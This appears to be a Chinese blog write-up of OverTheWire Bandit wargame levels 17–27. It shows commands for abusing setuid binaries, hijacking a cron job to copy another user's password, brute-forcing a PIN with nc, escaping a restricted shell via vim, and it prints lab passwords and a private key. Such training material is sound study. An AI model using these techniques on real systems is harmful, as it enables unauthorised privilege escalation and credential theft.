Category: Study

Good job getting a shell! Now hurry and grab the password for bandit27!

解密

bandit26@bandit:~$ ls -l bandit27-do
-rwsr-x--- 1 bandit27 bandit26 7296 Oct 16  2018 bandit27-do
bandit26@bandit:~$ ./bandit27-do cat /etc/bandit_pass/bandit27
3ba3118a22e93127a4ed485be72ef5ea

知识点

1. ls -l发现可执行文件bandit27-do设置了setuid；

Logging in to bandit26 from bandit25 should be fairly easy… The shell for user bandit26 is not /bin/bash, but something else. Find out what it is, how it works and how to break out of it.

解密

使用ssh -i登陆bandit24发现直接退出，但是在退出前打印了很多内容。
这个时候，把终端高度缩小到只有几行（不能完全打印登陆内容），再次登陆，会发现输出信息不完全，并且没有迅速退出。
此时，直接按v进入VIM，就保存住了bandit26的登陆。
使用VIM命令模式，打开bandit26的密码文件：e /etc/bandit_pas/bandit26。
得到密码：5czgV9L3Xx8JPOyRbXh6lQbmIOWvPT6Z
不过依旧在VIM里，无法做什么事情（一些环境变量都没有，无法执行系统命令）。我们设置下变量set shell=/bin/bash，然后再执行shell，就成功使用bash了。

知识点

1. VIM的基本操作；
2. VIM的命令；

A daemon is listening on port 30002 and will give you the password for bandit25 if given the password for bandit24 and a secret numeric 4-digit pincode. There is no way to retrieve the pincode except by going through all of the 10000 combinations, called brute-forcing.

解密

bandit24@bandit:~$ :>/tmp/tmp.1YN5hffeea
bandit24@bandit:~$ for i in {0000..9999}
> do
> echo "UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ $i" >> /tmp/tmp.1YN5hffeea
> done

bandit24@bandit:~$ nc localhost 30002 < /tmp/tmp.1YN5hffeea

...

Correct!
The password of user bandit25 is uNG9O58gUE7snukf3bvZ0rxhtnjzSGzG

知识点

1. 循环i in {0000..9999}，从0000到9999，在前面拼上bandit24密码输入到文件中；
2. 使用nc从文件中读入传输到本地端口30002；

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: This level requires you to create your own first shell-script. This is a very big step and you should be proud of yourself when you beat this level!

NOTE 2: Keep in mind that your shell script is removed once executed, so you may want to keep a copy around…

解密

bandit23@bandit:~$ ls -l /etc/cron.d/
total 12
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16  2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit24
bandit23@bandit:~$ cat /etc/cron.d/cronjob_bandit24
@reboot bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
* * * * * bandit24 /usr/bin/cronjob_bandit24.sh &> /dev/null
bandit23@bandit:~$ cat /usr/bin/cronjob_bandit24.sh
#!/bin/bash

myname=$(whoami)

cd /var/spool/$myname
echo "Executing and deleting all scripts in /var/spool/$myname:"
for i in * .*;
do
    if [ "$i" != "." -a "$i" != ".." ];
    then
        echo "Handling $i"
        timeout -s 9 60 ./$i
        rm -f ./$i
    fi
done

阅读shell，可以看出，bandit24会去执行/var/spool/bandit24下所有文件，所以我们要做一个bandit24可执行文件，把bandit24密码写入/tmp/下的一个都可读文件。

bandit23@bandit:~$ clear
bandit23@bandit:~$ mktemp
/tmp/tmp.Mcx9oNLd3Q
bandit23@bandit:~$ mktemp
/tmp/tmp.HsO4hET86S
bandit23@bandit:~$ vim /tmp/tmp.HsO4hET86S
...
bandit23@bandit:~$ cat /tmp/tmp.HsO4hET86S
#!/bin/bash

cat /etc/bandit_pass/bandit24 > /tmp/tmp.Mcx9oNLd3Q
bandit23@bandit:~$ chmod +rx /tmp/tmp.HsO4hET86S
bandit23@bandit:~$ ls -l /tmp/tmp.HsO4hET86S
-rwxr-xr-x 1 bandit23 root 65 Sep 10 16:43 /tmp/tmp.HsO4hET86S
bandit23@bandit:~$ chmod 666 /tmp/tmp.Mcx9oNLd3Q
bandit23@bandit:~$ ls -l /tmp/tmp.Mcx9oNLd3Q
-rw-rw-rw- 1 bandit23 root 0 Sep 10 16:42 /tmp/tmp.Mcx9oNLd3Q
bandit23@bandit:~$ cp /tmp/tmp.HsO4hET86S /var/spool/bandit24/

... wait

bandit23@bandit:~$ cat /tmp/tmp.Mcx9oNLd3Q
UoMYTrfrBFHyQXmg6gzctqAwOmw1IohZ

知识点

1. 阅读bandit24的脚本，理解在做什么事情；
2. 注意权限的控制，让我们写的脚本文件可以允许第三方执行：rx，让目标文件可以被第三方写入：rw；

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

NOTE: Looking at shell scripts written by other people is a very useful skill. The script for this level is intentionally made easy to read. If you are having problems understanding what it does, try executing it to see the debug information it prints.

解密

bandit22@bandit:~$ ls -l /etc/cron.d/
total 12
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16  2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit24
bandit22@bandit:~$ cat /etc/cron.d/cronjob_bandit23
@reboot bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
* * * * * bandit23 /usr/bin/cronjob_bandit23.sh  &> /dev/null
bandit22@bandit:~$ cat /usr/bin/cronjob_bandit23.sh
#!/bin/bash

myname=$(whoami)
mytarget=$(echo I am user $myname | md5sum | cut -d ' ' -f 1)

echo "Copying passwordfile /etc/bandit_pass/$myname to /tmp/$mytarget"

cat /etc/bandit_pass/$myname > /tmp/$mytarget
bandit22@bandit:~$ echo 'I am user bandit23' | md5sum | cut -d ' ' -f 1
8ca319486bfbbc3663ea0fbe81326349
bandit22@bandit:~$ cat /tmp/8ca319486bfbbc3663ea0fbe81326349
jc1udXuA1tiHqjIsL8yaapX5XIAI6i0n

知识点

1. whoami这个命令，会打印出当前执行人是谁，此处是bandit23；
2. md5sum是对输入进行md5哈希；
3. cut是分割空格，-d表明风格字符，-f取分割后的第几个字符串；

A program is running automatically at regular intervals from cron, the time-based job scheduler. Look in /etc/cron.d/ for the configuration and see what command is being executed.

解密

bandit21@bandit:~$ ls -l /etc/cron.d/
total 12
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit22
-rw-r--r-- 1 root root 122 Oct 16  2018 cronjob_bandit23
-rw-r--r-- 1 root root 120 Oct 16  2018 cronjob_bandit24
bandit21@bandit:~$ crontab -l
crontabs/bandit21/: fopen: Permission denied
bandit21@bandit:~$ cat /etc/cron.d/cronjob_bandit22
@reboot bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
* * * * * bandit22 /usr/bin/cronjob_bandit22.sh &> /dev/null
bandit21@bandit:~$ cat /usr/bin/cronjob_bandit22.sh
#!/bin/bash
chmod 644 /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
cat /etc/bandit_pass/bandit22 > /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
bandit21@bandit:~$ cat /tmp/t7O6lds9S0RqQh9aMcz6ShpAoZKF7fgv
Yk7owGAcWjwMVRwrTesJEwB7WVOiILLI

知识点

1. cron是linux的定时任工具；
2. crontab查看运行定时任务（在这里不能使用）；
3. 根据提示，查看/etc/cron.d/下的定时任务；
4. 查看相关脚本，发现是把密码写到/tmp下的一个文件，查看得到密码；

There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21).

NOTE: Try connecting to your own network daemon to see if it works as you think

解密

1. 使用一个nc -l -p 1115 < /etc/bandit_pass/bandit20命令作为server监听端口1115，并且输入当前密码；
2. 打开另一个端口，使用./suconnect 12345；
3. 立马得到gE269g2h3mw3pwgrj0Ha9Uoqen1c9DGr；

知识点

1. nc作为服务器监听端口-l -p；

To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary.

解密

bandit19@bandit:~$ ls -l
total 8
-rwsr-x--- 1 bandit20 bandit19 7296 Oct 16  2018 bandit20-do
bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20
GbKksEFF4yrVs6il55v6gwY5aVje5f0j

知识点

1. ls -l看到文件bandit20-do在执行位上的标志为s，表名设置了setuid，即“执行该文件会以文件所有者的身份”，而非普通的执行者身份；

The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH.

解密

➜  /tmp ssh -p 2220 bandit18@bandit.labs.overthewire.org cat readme
This is a OverTheWire game server. More information on http://www.overthewire.org/wargames

bandit18@bandit.labs.overthewire.org's password:
IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x

知识点

1. ssh可以后面跟随执行命令，在.bashrc脚本执行之前读取密码；

There are 2 files in the homedirectory: passwords.old and passwords.new. The password for the next level is in passwords.new and is the only line that has been changed between passwords.old and passwords.new

NOTE: if you have solved this level and see ‘Byebye!’ when trying to log into bandit18, this is related to the next level, bandit19

解密

登陆

bandit16@bandit:~$ mktemp
/tmp/tmp.wBXU8p03gb
bandit16@bandit:~$ echo '-----BEGIN RSA PRIVATE KEY-----
> MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ
> imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ
> Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu
> DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW
> JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX
> x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD
> KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl
> J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd
> d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC
> YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A
> vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama
> +TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwUqYdsx0NxHgRRhORT
> 8c8hAuRBb2G82so8vUHk/fur85OEfc9TncnCY2crpoqsghifKLxrLgtT+qDpfZnx
> SatLdt8GfQ85yA7hnWWJ2MxF3NaeSDm75Lsm+tBbAiyc9P2jGRNtMSkCgYEAypHd
> HCctNi/FwjulhttFx/rHYKhLidZDFYeiE/v45bN4yFm8x7R/b0iE7KaszX+Exdvt
> SghaTdcG0Knyw1bpJVyusavPzpaJMjdJ6tcFhVAbAjm7enCIvGCSx+X3l5SiWg0A
> R57hJglezIiVjv3aGwHwvlZvtszK6zV6oXFAu0ECgYAbjo46T4hyP5tJi93V5HDi
> Ttiek7xRVxUl+iU7rWkGAXFpMLFteQEsRr7PJ/lemmEY5eTDAFMLy9FL2m9oQWCg
> R8VdwSk8r9FGLS+9aKcV5PI/WEKlwgXinB3OhYimtiG2Cg5JCqIZFHxD6MjEGOiu
> L8ktHMPvodBwNsSBULpG0QKBgBAplTfC1HOnWiMGOU3KPwYWt0O6CdTkmJOmL8Ni
> blh9elyZ9FsGxsgtRBXRsqXuz7wtsQAgLHxbdLq/ZJQ7YfzOKU4ZxEnabvXnvWkU
> YOdjHdSOoKvDQNWu6ucyLRAWFuISeXw9a/9p7ftpxm0TSgyvmfLF2MIAEwyzRqaM
> 77pBAoGAMmjmIJdjp+Ez8duyn3ieo36yrttF5NSsJLAbxFpdlc1gvtGCWW+9Cq0b
> dxviW8+TFVEBl1O4f7HVm6EpTscdDxU+bCXWkfjuRb7Dy9GOtt9JPsX8MBTakzh3
> vBgsyi/sN3RqRBcGU40fOoZyfAMT8s1m/uYv52O6IgeuZ/ujbjY=
> -----END RSA PRIVATE KEY-----
> ' > /tmp/tmp.wBXU8p03gb
bandit16@bandit:~$ ssh -i /tmp/tmp.wBXU8p03gb bandit17@localhost

找密码

bandit17@bandit:~$ diff passwords.old passwords.new
42c42
< hlbSBPAWJmL6WFDb06gpTx1pPButblOA
---
> kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd

知识点

1. diff命令可以对比文件内容差异；